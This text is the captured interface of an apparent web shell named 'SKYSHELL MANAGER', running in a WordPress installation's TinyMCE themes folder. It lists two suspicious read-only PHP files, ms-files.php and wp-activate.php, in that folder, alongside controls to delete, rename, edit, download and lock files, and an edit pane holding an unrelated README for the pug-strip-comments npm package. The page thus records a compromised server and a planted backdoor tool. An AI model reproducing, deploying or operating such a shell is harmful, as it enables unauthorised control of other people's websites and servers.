📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: README.md
# pug-strip-comments Strips comments from Pug token stream [](https://travis-ci.org/pugjs/pug-strip-comments) [](https://david-dm.org/pugjs/pug?path=packages/pug-strip-comments) [](https://david-dm.org/pugjs/pug?path=packages/pug-strip-comments&type=dev) [](https://www.npmjs.org/package/pug-strip-comments) ## Installation npm install pug-strip-comments ## Usage ```js var lex = require('pug-lexer'); var stripComments = require('pug-strip-comments'); var tokens = lex('//- unbuffered\n// buffered'); // [ { type: 'comment', line: 1, val: ' unbuffered', buffer: false }, // { type: 'newline', line: 2 }, // { type: 'comment', line: 2, val: ' buffered', buffer: true }, // { type: 'eos', line: 2 } ] // Only strip unbuffered comments (default) stripComments(tokens, { filename: 'pug' }); // [ { type: 'newline', line: 2 }, // { type: 'comment', line: 2, val: ' buffered', buffer: true }, // { type: 'eos', line: 2 } ] // Only strip buffered comments (when you want to play a joke on your coworkers) stripComments(tokens, { filename: 'pug', stripUnbuffered: false, stripBuffered: true }); // [ { type: 'comment', line: 1, val: ' unbuffered', buffer: false }, // { type: 'newline', line: 2 }, // { type: 'eos', line: 2 } ] // Strip both (if you want Pug VERY clean) stripComments(tokens, { filename: 'pug', stripBuffered: true }); // [ { type: 'newline', line: 2 }, // { type: 'eos', line: 2 } ] ``` ## License MIT
Save